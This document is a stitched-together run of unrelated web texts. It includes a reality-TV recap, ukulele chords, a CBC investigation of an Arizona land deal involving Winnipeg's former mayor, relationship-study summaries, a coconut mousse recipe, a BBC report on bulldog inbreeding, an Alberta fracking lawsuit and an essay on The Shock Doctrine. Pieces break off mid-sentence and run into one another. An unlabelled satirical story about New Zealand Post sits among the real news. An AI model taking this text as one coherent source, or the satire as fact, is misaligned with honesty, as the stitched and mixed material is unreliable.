do, analysts say. "The clock is ticking," says Emily Riley, senior analyst at JupiterResearch. "If they don't have enough volume (users) to land premium ads and charge per page view, game over." Enlarge By Kim Jae-Hwan, Getty Images Chris DeWolfe is CEO of MySpace, one of the Big Three among social networks. Facebook and LinkedIn are the others. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreThe FIFA World Cup is only days away and, if you’re just as excited as we are, you’ll want to know when all of the matches kick-off.
So here’s a super-quick guide for adding all of the legendary tournament’s fixtures to your Google Calendar account:
1) Open up the web version and hit the arrow icon just next to the ‘Other Calendars’ option in the sidebar. Select ‘Add by URL’ and then paste the following URL into the dialog box:
https://www.google.com/calendar/feeds/vdmtdcektajkqjk51vvda4ni4k%40group.calendar.google.com/public/basic
2) Alternatively, you can head to this page and click the ‘+ Google Calendar’ button in the bottom right-hand corner. You’ll then be whisked across to your personal online calendar, where you can confirm the new additions.
3) Refresh the page and after a few minutes you should see the schedule appear across all of your devices. If you used the first option, the calendar should also update automatically as teams progress and get knocked out.
Now, you just need to answer two questions. Who will you be rooting for this year – and who do you think will win?
➤ Google Calendar [via Google+]
Featured image credit: YASUYOSHI CHIBA/AFP/Getty Images
Read next: A $1.7m, 370-inch TV. And only 4 of these will be made.(CNN) — It's one of the easiest ways to get around -- but traveling by bus in Cambodia can be a confusing experience.
With more 60 bus operators in the capital city of Phnom Penh alone, the bus system has often proved difficult to navigate.
That's where BookMeBus comes in.
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red flags. Andre is asking a lot of questions and doing a good job.
David – Jennifer doing cannonball to fit in. David doing shots with the ladies. He is digging Maya and thinks she seems fun. Talks with Jennifer and she mentions him wearing the same shorts as he did on his honeymoon, so he is getting the stalker vibe again! One lady is smoking and that is a deal breaker for him. The other ladies think Maya is fake and acting all nice around David. Melika might be too much of a partier for David. He did not see the lady he saw out with another guy.
COCKTAIL PARTY
Vanessa – Chris rapped the whole speed dating, so getting to know him more tonight on MAFS Second Chances. She is digging his looks! Vanessa is impressed by Andre, but asks him about cutting his hair (he has the crazy blonde hair). Reggie feels like he is going home. Shannon talks some smack and Reggie rubs his head and Shannon is upset and they have words, which Vanessa notices.
David – Merrill is there now, so she just skipped the pool party? He talks with Merrill and she said she was with her friend and her friend met the guys. She was not interested in them, but David was not feeling it and sent her home on Married at First Sight Second Chances! Callie tries to compliment Maya and said she looks like a Disney character, but Maya said it was childish. Turns into drama.
Callie and David play pool and bet for a kiss if she gets first ball in, so of course she gets it. He said it is fine since no one saw it. However, Callie goes and tells the other ladies! Maya is upset and wants to leave and thinks Callie is a snake. Jennifer is always around, but David does not want to talk to her and her creepiness. Maya tells Jennifer it was classless of her begging to stay. David and Jennifer talk and he loves her effort. David talks with Maya and she mentions the drama, but he stops the talk and kisses her.
ELIMINATIONS
Dr. Pepper said they were cutting it down to ten each on Married at First Sight Second Chances tonight, but it definitely looked like more than ten for each! Some of the standouts I noticed were Chris, Shannon, Andre and Myles for Vanessa. It was Maya, Callie, Jordan (the lady he was almost paired with on Season 3) and Isabella.
When sending the ladies home, Jennifer was being obnoxious! She was swearing and calling David an idiot, so that will keep her around!
THE VILLAIN HAS ARRIVED
Afterwards, Callie tries to talk with Maya and clear the air. Maya said she is still demeaning her and being bullied. She goes inside, where David comforts her. Playing the victim and getting attention from David already, huh?
What did you think of tonight’s episode of Married at First Sight Second Chances?
Join us next week on Gossip & Gab for our Married at First Sight Second Chances Recap, as David and Vanessa continue on their second chance at finding love! Bookmark us or friend us on Facebook or Twitter for all our latest updates. Want to see more from Editor-in-Chief Todd Betzold? Follow along with him over on Twitter!
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1 of 1Academic studies can be fascinating... and totally confusing. So we decided to strip away all of the scientific jargon and break them down for you.
The Background
After studying romantic relationships for over 30 years, biological anthropologist Helen Fisher concluded, "We humans are soft-wired to suffer terribly when we are rejected by someone we adore." Nowhere is this more apparent than in breakups. Countless songs, poems, books and movies have been inspired by them, and researchers like Fisher have spent decades trying to nail down romantic rejection. But if heartbreak is both universal and specific, can we narrow down the experience according to gender? Researchers from Binghamton University and University College London recently conducted a study to find out.
The Setup
The study was based on an online survey of 5,705 English-speaking men and women from 96 different countries. The average age was 27. In the survey, participants were asked about their romantic relationship history. Questions about breakups included: Have you experienced a breakup? How severe was the breakup for you emotionally? Who do you feel initiated the breakup? What sort of physical responses did you experience as a result of the breakup?
Then, participants were asked to rate their responses to breakups on a scale from zero (none) to 10 (unbearable).
The Findings
Unsurprisingly, breakups were pretty common, with 75 percent of participants reporting the experience. Women tended to take breakups a bit harder, reporting significantly higher levels of emotional responses than men. They also showed a higher "fear" response and experienced unwanted weight loss or gain after a breakup more often.
But things evened out a bit when it came to how men and women assessed their own responses to heartbreak -- both sexes averaged a seven out of 10 when asked to rate the intensity of their breakups. Plus, it's not like the women were left helplessly flailing -- more often than not, they were the ones initiating the breakups (something research has found time and again). "Lack of communication" was the most common reason for splits.
The Takeaway
Clearly, these findings are huge generalizations and may only apply to the people in this particular sample. Still, it's interesting that women tended to not only feel the impact of a breakup more acutely, but they were also the ones who really thought about the state of their relationships and made decisions to change things in their lives for the better. That kind of agency is actually pretty empowering for women. Not to mention, allowing yourself to emote without shame or judgement isn't such a bad thing, either -- that's how people grow and learn from their experiences.
At the end of the day, isn't connecting with people and, you know, feeling things the point of it all? Just make sure you're equipped with some of that aforementioned breakup music.
Also on HuffPost:Considering the fact that Joe Strummer was a ukulele player, this one seemed appropriate. Should I Stay Or Should I Go by The Clash.
Now, my readers will know that I am not a big fan of prescriptive strumming patterns, but on this song it's kind of important. For the verses, the strums follow the vocal line and each consist of eight down strums, played very clearly. I have listed the chords after each line. (In the second part of the song, where the spanish lyrics come in, they are sung over the strums).The Chorus uses the same chord patterns, but in more of a swingy style. See video at the end for something to play along with.( D D D G G G G D ) x 2Darling you got to let me know ( D D D G G G G D )Should I stay or should I go? ( D D D G G G G D )If you say that you are mine ( G G G F F F F G )I'll be here 'til the end of time ( D D D G G G G D )So, you got to let me know ( A A A A A A A A )Should I stay or should I go? ( D D D G G G G D )It's always tease tease tease ( D D D G G G G D )You're happy when I'm on my knees ( D D D G G G G D )One day is fine the next is black ( G G G F F F F G )So if you want me off your back ( D D D G G G G D )Well, come on and let me know ( A A A A A A A A )Should I stay or should I go? ( D D D G G G G D )CHORUSShould I stay or should I [D] go now [G] [D][D] should I stay or should I go now [G] [D][D] If I go there will be [G] trouble [F] [G][G] And if I stay it will be [D] double [G] [D][D] So come on and let me [A] know [A][ D D G G G G D]This indecisions bugging me ( D D D G G G G D )If you dont want me set me free ( D D D G G G G D )Exactly whom I supposed to be? ( G G G F F F F G )Don't you know which clothes even fit me ( D D D G G G G D )Come on and let me know ( A A A A A A A A )Should I cool it or should I blow ( D D D G G G G D )( D D D G G G G D ) Split!( D D D G G G G D )( G G G F F F F D )( D D D G G G G D )( A A A A A A A A )( D D D G G G G D )CHORUS 2Should I stay or should I [D] go now [G] [D][D] should I stay or should I go now [G] [D][D] If I go there will be [G] trouble [F] [G][G] And if I stay it will be [D] double [G] [D][D] So come on and let me [A] know [A][A] Should I cool it or should I [D] blow? [G] [D][D] should I stay or should I go now [G] [D][D] If I go there will be [G] trouble [F] [G][G] And if I stay it will be [D] double [G] [D][D] So come on and let me [A] know [A][D]Should I stay or [G]should I [D] goAs a result of major cutbacks aimed at “establishing a foundation for our future operations,” New Zealand Post has announced today that the entire nation’s mail will now be delivered by a single postal worker.
23-year-old Jermaine Davis, who found that he was the only remaining mailperson in the country not issued with a redundancy notice, reports that the job description in his new contract reads, simply, “Deliver the mail.”
Having conferred with management about the contract, Davis established that the description was indeed literal.
“Yep, all of the mail,” he clarified, before sighing and staring dejectedly into space. “Shit.”
Defending the cutbacks today, chairman of NZ Post Sir Michael Cullen said that the new number of mail delivery workers was “carefully calculated,” and best reflected the volume of physical mail still being sent throughout New Zealand.
“I think people tend to assume that, just because we hired thousands of mail delivery workers across the country, we had these large volumes of mail,” he said. “But that just wasn’t the case. Physical mail today isn’t what it used to be. There’s really only a few kinds of mail you get. There’s letters from grandparents, birthday cards from grandparents, newspaper clippings from grandparents; and other than that it’s just bank statements and junk mail, which we find tends to deliver itself.”
Cullen acknowledged that he was no longer Deputy Prime Minister, and that sometimes during interviews this was awkward.
He explained that while Davis might seem “hard done by,” he had actually been given a slight pay increase, and provided with a small aircraft to help cover the wider region for which he was now responsible.
But Davis says he isn’t licensed to pilot an aircraft, and that while his new contract did mention a pay increase, he hasn’t been paid in months, “because of the government shutdown.”
“They told me that my pay hadn’t come through because John Boehner wouldn’t vote to fund the Government,” he explained. “They said I couldn’t get paid anymore. Ever.”Arizona real estate experts say they don't understand a Phoenix-area land deal between a Winnipeg construction company owner and the city's former mayor and top bureaucrat.
"It makes zero economic sense," said Mark Stapp, Arizona State University professor and director of the school's master of real estate development program, about the $327,000 sale of property about 70 kilometres west of Phoenix, Ariz.
Stapp was one of the Arizona experts who said they can't make sense of the price Armik Babakhanians paid former mayor Sam Katz and former chief administrative officer Phil Sheegl for land in an area hard hit by the U.S. housing crisis.
Details about the land deal were made public in response to RCMP allegations in court documents. Those allegations say that Sheegl committed breach of trust by accepting $200,000 for showing favour to Babakhanians, whose company built Winnipeg's police headquarters.
Sheegl shared the payment with Katz, but RCMP have not alleged any criminal wrongdoing against Katz.
Sam Katz, Phil Sheegl and other co-investors originally purchased more than 20 acres of land in 2005, around the height of the real estate boom in Arizona. At the time, they paid about $107,000 USD per acre for the raw land in Tartesso, a planned community about an hour drive west of Phoenix. (Lyza Sale/CBC)
The court documents were filed in June 2016 as part of an RCMP request to view bank records for Sheegl and Katz, all part of an investigation into the $214-million purchase and renovation of the downtown police HQ.
No charges have been laid and none of the allegations have been proven in court.
The lawyer representing Sheegl and Katz said the $200,000 payment was not a bribe, but was actually a down payment in the Arizona land deal.
While none of the Arizona land experts suggested there was a secret commission involved, they did question the sale price of the land.
"I have no idea how you would derive that kind of value estimate for a piece of property out there," Stapp said. "I don't know how you would get to that number."
In 2005, around the height of the real estate boom in Arizona, Katz, Sheegl and other investors paid what CBC News calculated to be about $107,000 US, or about $125,000 Cdn per acre, for about 25 acres of raw land in Tartesso, a planned community west of Phoenix.
Arizona real estate experts say they don't understand a Phoenix-area land deal between a Winnipeg construction company owner and the city's former mayor and top bureaucrat. 7:30
Robert Tapper, the lawyer representing Katz and Sheegl, said Babakhanians made a deal with his clients in 2011 to pay $327,000 Cdn for interest in what the CBC has calculated to be about an acre of the land.
The three originally shook hands to seal the deal in May or June 2011, then put it on paper in 2012 in the form of a handwritten trust agreement, Tapper said.
The deal was for "FMV [fair market value] at that time, which they agreed was $327K," Tapper wrote in a February email. "We have demonstrably proven there was a legitimate real estate transaction and payments supporting it."
But Stapp and other Arizona land experts say land values plummeted during the housing crisis of 2008 and land values in Tartesso only started to recover last year.
Price tag 'doesn't make sense'
The price paid for a piece of undeveloped land outside Phoenix puzzled Paul Johnson, a Phoenix land appraiser and Arizona State University educator who owns a consulting company and has worked in real estate as a broker, appraiser, teacher and counsellor for 50 years.
"That doesn't make sense," said Johnson.
Land values were 50 to 75 per cent lower in 2011, the year Babakhanians bought in, than in 2005-06, he said.
This is the only house that was completed on a cul-de-sac just off Catalina Drive before construction in Tartesso shut down in the late 2000s. (Phoenix Drone Services)
Johnson wouldn't put an exact dollar value on the Tartesso land without conducting an appraisal, but he and his colleague Thomas Carson searched for similar sales in and around Phoenix in 2011. They found no raw land sold for as high a price as was paid by Babakhanians.
"That would equate into a land price or land value that would be far higher than would be justified for building houses under that particular land use and zoning," Johnson said.
The Maricopa County Assessor's Office used mass appraisals to peg the latest full cash value at about $230,000 US for tax purposes for the entire 25 acre plot — roughly the same value as 2011. Taxes paid on the land were $33 last year because there is currently a cattle grazing lease in effect which significantly reduces property taxes.
According to Business Real Estate Weekly, land developers in September 2016 paid an average of $7,453 an acre in Tartesso — $4,723 an acre for raw land and $12,127 an acre for land where infrastructure was already in place.
A 'No Dumping' sign marks the entrance to Katz and Sheegl's Arizona land. It is zoned for more than 200 multi-family units, but is currently leased for cattle grazing. (CBC News)
Handwritten document 'done in great haste'
Tapper gave CBC a bank statement showing a $127,200 deposit to Samuel Michaels Properties Inc., a Nevada-registered company owned by Katz. He said that represented the balance Babakhanians owed for the land purchase. Tapper said the statement, which also includes a debit for a cheque written to an unspecified person for $63,600, demonstrates Katz gave Sheegl half of the proceeds.
Tapper initially showed CBC a copy of the handwritten trust document with only Sheegl's signature and a blank space for Babakhanians to sign, explaining he needed time to get a copy of the document with both signatures, which he provided two weeks later.
Grady Gammage Jr., a real-estate lawyer and senior research fellow at Arizona State University's Morrison Institute for Public Policy, said the handwritten agreement used to document the deal is also unusual.
"The fact that it is handwritten and is not notarized, does not appear to be written up by a lawyer, makes me wonder if this was done in great haste in anticipation of doing a more formal document later on," Gammage said.
Gammage has practiced real estate law for 40 years and said an unnotarized handwritten land deal has never come across his desk.
The raw desert land owned by Phil Sheegl, Sam Katz and their co-investors is south of the partially constructed community of Tartesso. Babakhanians bought an interest in about one acre in 2011. (CBC News)
"Phoenix is a very big, sophisticated city. This is not the way we do legal documents," said Gammage. "Maybe Canadians are a lot more trusting than Americans, but this would not be how we would document a deal."
Gammage also commented on the wording used in the handwritten agreement.
"The vagueness with which it purports to transfer interest in the property and the extent of that interest — highly unusual by our standards to do something like this," he said.
Babakhanians to get back at least what he paid
Tapper, when asked about the real estate experts' valuation of the Arizona land, said Babakhanians is supposed to get a return of at least what he paid when the land sells.
"Babakhanians purchased the greater of $327K or 25% of profit upon disposition based on then current values," Tapper said.
He said the land will be held until critical mass is achieved for multi-family housing in Tartesso.
"Developers of multi-family product are paying in excess of $30,000 and up to $60,000 per unit for land," said Tapper in an email. "These will be the minimum values they will be looking for."
But referring to the same area, Mark Stapp said, "Multi-family in particular, in that part of the valley, I'm not sure there will be demand for that in decades."
Armik Babakhanians had no comment.Pin +1 0 Shares
You experience stress nearly every day of your life. Stress can come from your job, your coworkers, fellow commuters, and generally from having too much to do without enough time to do it. And anyone in a relationship knows how easy it for that “external” stress to find its way into their romantic relationship.
Researchers followed 80 couples’ over 4 years and found that when couple members reported more stress outside of their relationship, they also reported feeling less comfortable depending on their partners and felt less close and more unsure about their relationship compared to couple members who were less stressed.1 This type of stress “spillover” may also occur on a daily basis. In a study of 165 newly married couples, individuals who reported more daily stress also reported more negative relationship behaviors such as criticizing their partners.2 These results indicate that stress from outside a relationship can spillover and cause more negative relationship behaviors. But, it’s also possible that those more prone to stress are also more prone to having poor relationships. An experiment would be needed to determine if stress directly affects relationships.
How They Did It
To see if the acute experience of stress could cause negative relationship behaviors, researchers from the Departments of Psychology at Monmouth University and Ursinus College randomly assigned over 120 participants to either a high or low stress condition.3 Within the time limit, those in the high stress condition had to complete a series of 10 complex math problems by indicating which numbers came next (e.g., “87, 174, 261, 348, 435, _____, _____, _____” The answers are 522, 609 and 696 respectively—each number increases by 87). Those in the low stress condition did a similar, albeit much simpler, task (e.g., “1, 2, 3, 4, _____, _____, _____” The answers are….obvious).
The researchers were interested in whether stress affected two types of relationship behaviors: Complimenting one’s partner and attending to relationship alternatives. Complimenting one’s relationship partner is a positive relationship maintenance behavior that facilitates satisfaction, commitment and love. To see whether stress influenced compliments, researchers gave participants 2 minutes to “List as many compliments as you can think of, that you can say to your partner the next time you see him/her.” Paying attention to potential alternative partners is a negative relationship behavior that is associated with lower relationship satisfaction. Rather than ask participants if they pay attention to alternatives, researchers gave participants a task to see how they actually behaved. Researchers told participants they could participate in one-on-one “get to know you/acquaintance building exercises” with as many individuals as they like from a sheet picturing 12 single, physically attractive potential partners. Picking more partners to interact with indicates greater attention to alternatives, which links to cheating/infidelity.
What They Found
Participants in the high stress condition gave their partners fewer compliments and were more likely to want to interact with attractive alternative partners. Specifically, participants under stress gave 15% fewer compliments and selected nearly 20% more attractive partners for the interaction task compared to those who experienced minimal stress.
What These Results Mean for You
These findings are one of the first to establish a causal link between stress and relationship behaviors. Specifically, they show how individuals’ acute stress experiences undermine relationships by making those individuals less likely to compliment one’s partner and more likely to pay attention to other potential partners.
Although you may not experience a series of difficult and stress-inducing math problems in your day-to-day experience, life is full of other stressors. In light of these findings, it would seem important to recognize when you’re under stress and take corrective actions to avoid doing things that could harm your relationship, which would ultimately just lead to more stress.
If you’d like to learn more about our book, please click here (or download it here). Interested in learning more about relationships? Click here for other topics on Science of Relationships. Like us on Facebook or follow us on Twitter to get our articles delivered directly to your NewsFeed.
1 Neff, L. A., & Karney, B. R. (2009). Stress and reactivity to daily relationship experiences: How stress hinders adaptive processes in marriage. Journal of Personality and Social Psychology, 97(3), 435–450. doi:10.1037/a0015663.
2 Buck, A. A., & Neff, L. A. (2012). Stress spillover in early marriage: The role of self-regulatory depletion. Journal of Family Psychology, 26(5), 698–708. doi:10.1037/a0029260
3 Lewandowski, G. W., Jr., Mattingly, B. A., & Pedreiro, A. (2014). Under pressure: The effects of stress on positive and negative relationship behaviors. Journal of Social Psychology, 154, 463-473. doi: 10.1080/00224545.2014.933162
Dr. Gary Lewandowski – Science of Relationships articles | Website
Dr. Lewandowski’s research explores the self’s role in romantic relationships focusing on attraction, relationship initiation, love, infidelity, relationship maintenance, and break-up. Recognized as one of the Princeton Review’s Top 300 Professors, he has also authored dozens of publications for both academic and non-academic audiences.The popularity of low carb diet craze started ages ago with the Scarsdale diet. Initially, the diet itself received only moderate success when first released, and it was not until the unfortunate scandal resulting from the problems erupting in the life of the original creator of the program, that ultimately put the benefits of low carb eating on the map.
Like a good book, I guess there’s nothing like a sordid tale of power, sex and money to get things rolling…
As the Scarsdale diet picked up momentum, along came the Atkins diet. It was the early to mid 80’s when low fat eating was just becoming popular and a focus on carbohydrates as a good fuel became more acceptable. Susan Powter touted increasing carbs in our diet and we all did joyfully, as we enjoyed one bagel after another. The Atkins syndrome fought valiantly against the low fat diet craze and almost single handedly destroyed the livelihood of many bakeries. It also managed to permanently close many of the Krispy Kreme donut stores due to lack of business. I must confess, I did try the Atkins protein bars for a while, but stopped using them because although I felt good about removing sugar from my diet, I was replacing it with artificial sugars, which was just as bad…or worse.
As the popularity of Atkins waned, the star of the show became the South Beach diet which had everyone from celebrities to politicians claiming its health benefits. All of these plans allowed you to eat real food but there were others like the low carb high protein liquid diets that became popular also…
I would never choose liquid diet program, but they gained some relevance when Oprah Winfrey tried them while on hiatus and lost 60 pounds. We all remember her coming out onstage after achieving her skinny status, and revealed how she had accomplished it. Unfortunately, as she began to incorporate real food back into her life, she regained all of the weight she had lost and never really managed to keep it all off.
Liquid diets don’t teach you how and what to eat and I don’t know about you, but drinking protein shakes for the rest of my life doesn’t sound like a very palatable option. High protein shakes have their place in your diet if you need them, but not for breakfast, lunch AND dinner…
The next low protein diet that swept through Europe was one that never really caught on here (yet) but it was something called the Dukan diet, and it was rumored that Duchess Kate and her family were followers of the plan in the months leading up to the royal wedding.
Nowadays, one of the most forgiving low carb diets that has gained a lot of strength and popularity is one called the Paleo diet that was originally introduced in the 1970’s.
The idea behind this program has you eating like a caveman –well sort of…
Paleo is short for Paleolithic, and in Greek it means old—this low carb diet is based on the way our ancestor’ s ate, and is centered mostly around commonly available foods such as fish, grass fed beef, eggs, vegetables, fruits, roots and nuts. It is based on the premise that modern humans are genetically adapted to the diet of their ancestors, and the belief that these genetics have scarcely changed. Therefore, an ideal diet for human health and well being is one that resembles this ancestral diet.
It’s still quite controversial, and whether you choose to follow it or not is a personal decision. Ultimately, you have to follow a way of eating that makes you feel strong, healthy and vibrant.
Some delicious food ideas have come out of the Paleo diet, and many include the use of coconut milk. Coconut milk is not the same as coconut water or the coconut stuff you use in your mixed drinks. Coconut milk is extracted from the pulp of the coconut and is used in Asian cuisine. Nowadays, you can find it in the freezer section of most health food stores or you can buy it in a can or even make it yourself.
Coconut products were something that everyone stayed away from because of their perceived high fat level, but now, many low carb diets and those like the Maker’s diet are embracing coconut products because of its anti bacterial qualities and healthy source of unprocessed fat. The recent surge in sales of unrefined coconut oils for both cooking and baking is a testament to this new way of thinking.
One of the quick desserts commonly enjoyed by both vegans and those following low carb diets is a quick chocolate mousse made from coconut cream. If you buy the coconut milk in the can, all you have to do is put it in the refrigerator and allow the fats to set up and separate from the liquid. Once it has chilled, remove it from the can and whip it up, it’s that easy and unbelievably delicious…
So, throw caution to the wind and try this unique chocolate coconut cream mousse…here’s to your health and mine!
Chocolate Coconut Cream Mousse
1 can full fat coconut milk (NOT the one you use in cocktails)
2 teaspoons vanilla
2 tablespoons of your favorite low glycemic sweetener (you can also use powdered sugar)
2 tablespoons of sifted cocoa powder
cocoa nibs as topping
fresh fruit **optional
Refrigerate the can for a few hours or overnight and once it is well chilled, scoop out the cream that has set up at the top BUT don’t throw the liquid out…reserve this to use in your cooking or baking, it’s delicious in pancakes. Place the solid cream in the bowl of your stand mixer, add your favorite sweetener,vanilla and a good quality cocoa powder and whip it up. This is so delicious and believe it or not, one can is enough for two people! It’s so smooth, creamy and lightly sweet and makes a great mousse to top with your favorite fruits or some dark chocolate coco nibs like I did for added crunch.The in-laws of a Raleigh man charged with leaving his children home alone while he went to work say he is duping the public.Last week, Victor King told a Wake County judge he left the five kids, all under the age of eight, at home because he is the sole provider for them and his wife."My wife was diagnosed with stage four cancer, and I'm practically like her only way to pay for all of her medical bills," King said in court. "So, I was wondering if I could get out early and I can still work, so I won't lose my job?"However, his wife's mother, Princess Burden, said although his insurance is covering her daughter, she is the one taking care of the sick woman and the five children at her Johnston County home since the diagnosis."Victor is not telling the truth," Burden told ABC 11. "He's not telling the truth and that's a shame."Burden said one of the few times the children have been with their father recently was last week when he left them alone at his north Raleigh apartment.Yet, King said he had a neighbor watching the children and the neighbor was the one who left them alone."I did not leave them alone, not at all," King said. "I wouldn't expect, you know, like an 8-year old to watch everyone."King does acknowledge that his in-laws offered to keep the kids and he refused."They did offer to like keep them, to keep some of them, and I was like trying to keep them all together," he said.But some who heard of King's plight as the story circled the globe on the internet felt sorry for him, ignoring the facts that his in-laws offered help and that he was convicted of leaving his kids alone when the family lived in California.With the outpouring of support, King created a GoFundMe page and is raising money.King's step father-in-law, John Burden, reacted angrily saying, "He's not going to come here and do that, manipulate not only my family but people here, all over the world, thinking he's some sort of good Samaritan; that he's a great guy."Although King's wife and children are not beneficiaries on the fundraiser he said they will get the money."It all will go to them," King told ABC 11 reporter Ed Crump. "All of it, you know?"Crump asked, "How do we know that for sure?"King replied, "I guess you've just got to wait to see."King's in-laws don't believe him and say they are setting up a GoFundMe page to directly benefit their daughter and grandchildren.In the meantime, Burden said she doesn't know what would have happened if she had not insisted on taking her daughter to the hospital after her daughter had been in severe pain for weeks.Through tears, she said, "I want her to live; I have faith that she will live."Image copyright Getty Images Image caption English Bulldogs are loving family dogs. But as a breed they suffer from health problems
Crossing the English Bulldog with another breed is the best way to ensure its survival, scientists have argued.
Due to centuries of selective breeding for physical traits, the Bulldog has become so inbred it cannot be returned to health without an infusion of new bloodlines, a genetic study suggests.
The US researchers say the Olde English Bulldogge, a related breed from America, is a viable candidate.
The study appears in the journal Canine Genetics and Epidemiology.
Study co-author Niels Pedersen, from the University of California, Davis, told BBC News: "We tried not to be judgemental in our paper. We just said there's a problem here, and if you are going to decide to do something about it, this is what you've got to work with.
"If you want to re-build the breed, these are the building blocks you have, but they're very few. So if you're using the same old bricks, you're not going to be able to build a new house."
National symbol
The English Bulldog breed - also known as the British Bulldog - has a long-standing cultural association with the UK, but is also sought after worldwide because of its child-like appearance, gentle temperament and because they are, in Prof Pedersen's words, "good apartment dogs" - a low-maintenance breed.
But the dogs suffer from a variety of health issues due to centuries of selective breeding. For example the Bulldog's distinctive short face and snout (known as brachycephaly) has led to breathing difficulties, which are the leading cause of ill-health and mortality in the breed. Skin allergies (which can cause considerable discomfort) and mobility problems are also common - as are reproductive issues.
Image copyright Getty Images Image caption To many the Bulldog is a national icon, symbolising pluck and determination
Females tend to have a narrow pelvis, meaning litters often have to be born through C-section. And breathing problems mean the males often have trouble sustaining intercourse.
Prof Pedersen and colleagues from the Center for Companion Animal Health at UC Davis examined the DNA of 102 registered English Bulldogs.
They wanted to know whether there was enough genetic diversity - a measure of relatedness among individual dogs - to breed out the harmful traits through programmes that use existing genetic stock.
But the analysis revealed they had very low levels of diversity resulting from a small initial pool of founding dogs, followed by so-called bottlenecks, caused by selective breeding for "desirable" traits like the short nose, which have further reduced variety in the Bulldog gene pool.
In their paper, the researchers say efforts to return the breed to health by using existing bloodlines alone are "questionable".
Prof Pedersen told BBC News: "Some small breeds with a small number of registered dogs have attempted this. But it's not common for breeders to admit that they've reached a point with health problems where they have to do something drastic such as reverse breeding.
"The fastest way to get genetic diversity is to outcross to a breed that looks similar but is genetically distinct... Trying to manipulate diversity from within a breed if it doesn't have much anyway is really very difficult. If all your dogs are highly related to one another, which ones are you going to pick?"
Image copyright Fox Photos Image caption Winston Churchill, famed for his tenacity, was often likened to a bulldog
Although some diversity still exists in the Bulldog gene pool, including in genes that affect the brachycephaly trait, other genetic loci show very little variety.
"There are some English Bulldogs that can breed normally and give birth normally. There are some that are more mobile than others, there are some that can breathe better than others, some that don't have the skin allergies and auto-immune disorders," said Prof Pedersen.
"But they're relatively few and it's hard to find one individual that contains all of those traits. You may have one English Bulldog that does not have the extreme changes in the head so that they breathe easier, but they may have lots of skeletal problems that lead to extreme arthritis."
Breeders differ widely on what should be done to tackle the illnesses. Some argue that any deviation from the breed's standards would no longer make it an English Bulldog.
Image copyright Getty Images Image caption There is debate among breeders about how best to proceed
Image copyright Getty Images Image caption The dogs are sought after pets worldwide
Others argue that the English Bulldog has constantly evolved over the centuries and favour the introduction of new genetic material, known as outcrossing.
One candidate mentioned in the paper is the Olde English Bulldogge, a 1970s attempt by an American breeder to recreate the healthier working bulldog that existed in England during the early 1800s.
In 2009, the UK Kennel Club revised its standards for several |
the fact.
"They are trying to waste my time and money and make me quit," says Ernst. "Let's get on with this trial and find out what chemicals Encana injected into our water in Rosebud and let's stop this circus."
Encana, which has suffered financial losses due to bad investments in shale gas, never asked for any part of the claim to be struck. The company's statement of defence was filed last August but only after receiving an order from Judge Wittmann.
Its statement argues that the company did not frack any coal-bed methane wells but merely "stimulated" them.
Hydraulic fracturing, the high pressurized detonation of hydrocarbon-bearing formations with gases or water and chemicals, has driven a boom in unconventional shale oil and gas over the last decade.
The so-called "revolution" has produced large amounts of previously untapped natural gas while it has industrialized rural communities, contaminated groundwater, aggravated methane leaks at well sites, polluted the air with toxic flaring and venting and even caused earthquakes. The boom caught regulators unprepared and has generated major legal challenges across North America.
The Pennsylvania Supreme Court, for example, just declared key parts of the state's Marcellus Shale drilling law (Act 13) unconstitutional last Thursday, including a provision that allows gas companies to drill anywhere.
"By any responsible account," Chief Justice Ronald Castille wrote, "the exploitation of the Marcellus Shale Formation will produce a detrimental effect on the environment, on the people, their children and the future generations, and potentially on the public purse, perhaps rivaling the environmental effects of coal extraction."
Another suit
Meanwhile another Alberta family from central Alberta has sued Angle Energy for fracturing and contaminating local groundwater.
An 11-page statement of claim by plaintiff Diana Daunheimer states that "Any reasonable person in our situation would have been damaged by Angle Energy's breach in duty. Angle Energy continues to breach this duty by causing and continuing to allow hazardous chemicals to remain in the ground surrounding and beneath the plaintiff's property and in the Daunheimer residence water supply and allow the continual emissions from venting and instrument operations."
The allegations have yet to be tested in court.
In the last four years, multi-stage hydraulic fracking of horizontal wells for oil has exploded in the province. About 77 per cent of all new oil wells drilled in Alberta (2,379 wells out of 3107) in 2010 were fracked.
Complaints about air pollution, earthquakes, methane leaks, land devaluation and shoddy regulation have also steeply increased.
British Columbia's Oil and Gas Commission is currently investigating Calgary-based Talisman for a serious case of groundwater and soil contamination involving hydraulic fracturing waste water in the Farrell Creek area of the Montney gas play.
In addition there have been more than 25 cases of companies "communicating" with other company well sites with high pressured blasts of water, sand and frack fluids in northern B.C.In The Shock Doctrine, Naomi Klein relates how nations brutalized by the Chicago School’s savage capitalism and the Dirty War juntas enforcing it have recovered and developed a healthy immunity against more eviscerating shock therapy:
Any strategy based on exploiting the window of opportunity opened by a traumatic shock relies heavily on the element of surprise... in North America, the September 11 attacks were, at first pure event, raw reality, unprocessed by story, narrative or anything that could bridge the gap between reality and understanding. Without a story, we are, as many of us were after September 11, intensely vulnerable to those people who take advantage of chaos for their own ends. As soon as we have a new narrative that offers perspective on the shocking events, we become reoriented and the world begins to make sense again.
That psychology pertains on both the individual and societal levels: a trauma that is never dealt with openly, but suppressed in the subconscious, festers, reinforcing crippling habits and sabotaging recovery. Maybe it is our reigning paradigm of dogmatic materialism that keeps us from acknowledging afflictions of the mind and spirit; imbibe a new pill to correct the faulty chemistry, or ingest an economic stimulus package to cure our destructive addiction to greed and gluttony. Consciousness, our scientists tell us, is a mere epiphenomenon of electrical brain circuits, so there can be no such thing as a collective “national psyche” capable of being wounded (socialist psychology!).
But how do we explain the shocking backsliding of Obama and his majority party: indefinite detention, torture lite continuing in Gitmo and Bagram, virtual immunity for war criminals, acceptable collateral drone carnage of civilians in Pakistan and Afghanistan, escalation of the disingenuous War on Terror, not to mention the subsidization of our piratical financial class. We are still locked in the shock of 9/11, the sole justification for this endless train of abuses, usurpations, and crimes. To forswear waterboarding would be regression to a perilous “September 10th mentality,” Elizabeth Cheney assures us.
